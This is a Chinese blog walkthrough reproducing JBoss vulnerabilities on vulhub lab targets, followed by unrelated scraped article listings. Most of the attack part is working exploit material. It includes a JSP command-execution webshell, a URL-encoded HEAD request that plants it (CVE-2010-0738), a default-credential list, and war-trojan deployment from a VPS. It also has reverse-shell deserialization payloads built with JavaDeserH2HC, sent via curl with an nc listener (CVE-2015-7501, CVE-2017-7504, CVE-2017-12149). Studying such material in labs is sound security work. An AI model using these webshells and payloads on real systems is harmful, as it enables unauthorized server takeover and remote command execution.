JBOSS漏洞复现
Jboss漏洞复现
统一靶场:/vulhub/jboss
JMX Console 未授权访问漏洞
# 介绍
JBoss的webUI界面 http://ip:port/jmx-console未授权访问(或默认密码admin/admin)
可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取webshell
漏洞发现
访问 http://ip:port/jmx-console
能直接访问或弱口令登录则存在漏洞
远程部署war包
- 找到 jboss.deployment 选项(Jboss自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去 (通过url的方式远程部署)
- 进入页面后找到addURL
- 在vps上部署war包
# 打包jsp马为war包
jar -cvf shell.war shell.jsp
# 在vps上启动web服务
python3 -m http.server
# 输入war包请求地址
http://your-ip:8000/cmd.war
- 随后点击
BacktoMBeanView
来到URLList中查看Value值是否已经部署好,最后点击Apply Changes
- 返回
jmx-console
目录找到jboss.web.deployment
查看是否存在我们部署的war木马
- 访问:
http://your-ip/shell/shell.jsp
连接蚁剑即可
Jboss弱口令Getshell
JBoss Administration Console
存在默认账号密码可以登录,在后台部署war包getshell
# jboss弱口令
admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password
- 点击
Administration Console
,输入默认账号admin/vulhub
进入后台
- 进入后找到
web Application (WAR)
,点击Add a new resource
,部署一个war包(木马)
- 访问
http://your-ip:8080/cmd/cmd.jsp
,蚁剑连接
CVE-2007-1036
JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到JMx控制台,并在其中执行任何功能。
该漏洞利用的是后台中jboss.admin->DeploymentFileRepository-〉store()方法,通过向四个参数传入信息,达到上传shell的目的
p1传入的是部署的war包名字,p2传入的是上传的文件的文件名,p3传入的是上传文件的文件格式,p4传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。p2和p3可以进行文件的拼接,例如p2=she,p3=1l.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下。
- 访问如下URL确定store()方法
http: //your-ip:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
- 部署war包
- p1为:部署的war包名字
- p2为:上传的文件的文件名
- p3为:上传文件的文件格式
- p4为:上传文件中的内容(jsp木马)
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s
= null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedRe
ader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output
+= s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
- 访问
http://your-ip:8080/job1/job1.jsp
即可
CVE-2010-0738(JMX Console安全认证绕过)
利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和P0ST请求的限制
影响版本:jboss4.2.0-jboss4.3.0
- 抓包将GET请求换为HEAD,构造如下请求头
HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRep
ository&methodIndex=5&arg0=../jmx-console.war/&arg1=shell&arg2=.jsp&arg3=%3c%25%40%20%70%61%
67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%20%25%3e%20%0d%0a%3c%25%20%53%74%72%69%6e%67%20%63%6d%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%20%53%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%22%22%3b%20%69%66%28%63%6d%64%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%73%20%3d%20%6e%75
%6c%6c%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6d%64%29%3b%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%73%49%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72
%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%77%68%69%6c%65%28%28%73%20%3d%20%73%49%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%70%75%74%20%2b%3d%20%73%20%2b%22%5c%72%5c%6e%22%3b%20%7d%20%7d%20%63%61%74%63%68%28%49%4f%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%20%65%2e%70%72%69%6e%74%53%74%61%63%6b%54%72%61%63%65%28%29%3b%20%7d%20%
7d%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6f%75%74%70%75%74%29%3b%25%3e&arg4=True HTTP/1.1
- arg3为jsp木马,只不过URL编码了
- 访问
http://your-ip:8080/jmx-console/shell.jsp?cmd=id
CVE-2015-7501(JMXInvokerServlet 反序列化漏洞)
Java反序列化错误类型,存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,影响非常广
jboss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,从而导致了漏洞。
漏洞发现
访问 http://ip:port/invoker/JMXInvokerServlet
出现下载文件,即存在漏洞
漏洞利用
- 下载
JavaDeserH2HC
git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC
- 编译文件和使用工具
# 编译文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# 使用工具生成反序列化字符串
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机ip:端口
- 监听6666端口,使用curl将生成的文件传给Jboss
# 监听
nc -lvvp 6666
# 传输恶意的字符串让Jboss反序列化
curl http://靶机-ip:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollecti
onsHashMap.ser
- 反弹shell成功!
CVE-2017-7504(JBossMQ JMS 反序列化漏洞)
CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。
影响范围:JBoss AS 4.x及之前版本
漏洞发现
访问/jbossmq-httpil/HTTPServerILServlet
,若出现如下界面则存在漏洞
漏洞利用
继续利用JavaDeserH2HC
,攻击机记得开启6666端口
# 利用上个漏洞已经生成了反序列化字符串,直接使用curl即可
curl http://靶机-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- 成功!
CVE-2017-12149(JbossApplicationServer反序列化命令执行漏洞)
和上面的差不多,路径换成/invoker/readonly
影响范围:JBoss 5.x - 6.x
漏洞发现
访问/invoker/readonly
,若返回如下显示状态码为500的报错界面,则证明漏洞存在
漏洞利用
- 继续利用
JavaDeserH2HC
curl http://靶机-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- shell就来了
JBOSS漏洞复现的更多相关文章
- Jboss反序列化漏洞复现(CVE-2017-12149)
Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...
- jboss反序列化漏洞复现(CVE-2017-7504)
jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- Jboss未授权访问漏洞复现
一.前言 漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码. 二.环境配置 使用docker搭建环境 ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- jboss漏洞导致服务器中毒
中毒现象 1. 网络出现拥塞,访问延迟增加. 2. 系统定时任务表中出现异常的定时任务. 3. 出现异常进程. 4. $JBOSS_HOME/bin或/root目录下出现大量的异常文件. 现象 ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
随机推荐
- 记录荒废了三年的四年.net开发的第三次面试,苏州斯莱克
现在就业的确崩了 这次面试的时间是8月28号.距离上一次面试已经过去了一个月了,距离开始找工作已经过去了2个月.没多少找工作经验的我也体会到了什么叫就业崩了. 看了一线码农的采访计划后,我也把苏州列为 ...
- IDEA - ruoyi - srpingboot - 离线运行
前提:有项目对应的repository文件,RY的DB配置正常(mysql新增schema ry, 执行 /sql下的sql文件,同步调整ruoyi-admin下的application-druid. ...
- ES6中的Set数据结构
Set是ES6新推出的数据结构,Set结构里面的每个元素都是唯一的: 如何创建一个Set? // Set 构造函数接收一个数组进行初始化;如果什么都不传则创建一个空Set; var set = new ...
- Outlook无法接收发送邮件,报错超出最大空间 的解决办法
事件起因: 某客户的outlook邮箱无法接收/发送邮件,报错为:存储区已达到最大大小 解决办法: 解决思路:新建一个数据文件来接收发送邮件 具体操作: 文件-账户配置-数据文件-新建(更 ...
- 左值 <->右值
左值引用指向左值 右值引用指向右值 int a = 5; int &ref_a = a; // 左值引用指向左值,编译通过 int &ref_a = 5; // 左值引用指向了右值,会 ...
- 线段树介绍(segment tree)
1.引入 给定一个区间\([1, n]\),希望你实现一种数据结构,支持以下操作: 1.修改\(i\)号节点的值. 2.询问区间\([i, j]\)中所有节点的和. 这不是树状数组板子 3.修改区间\ ...
- iOS之动画(transform和UIView动画)学习
1.transform 形变 这个是UIView的属性,继承UIView的控件都具有这个属性 UIImageView *imageview=[[UIImageView alloc]init]; ima ...
- nextjs 的函数,参数,属性装饰器的使用
// 属性装饰器 const doc1:PropertyDecorator = (target:any,val: string | symbol) => { console.log(target ...
- 《Programming from the Ground Up》读后感
之所以看这本书,是想了解一些跟汇编相关的知识,打开这本书后就被作者的观点--"If you don't understand something the first time, reread ...
- kotlin协程——>组合挂起函数
默认顺序调用 假设我们在不同的地⽅定义了两个进⾏某种调⽤远程服务或者进⾏计算的挂起函数.我们只假设它们都是有⽤的,但是实际上它们在这个⽰例中只是为了该⽬的⽽延迟了⼀秒钟: suspend fun do ...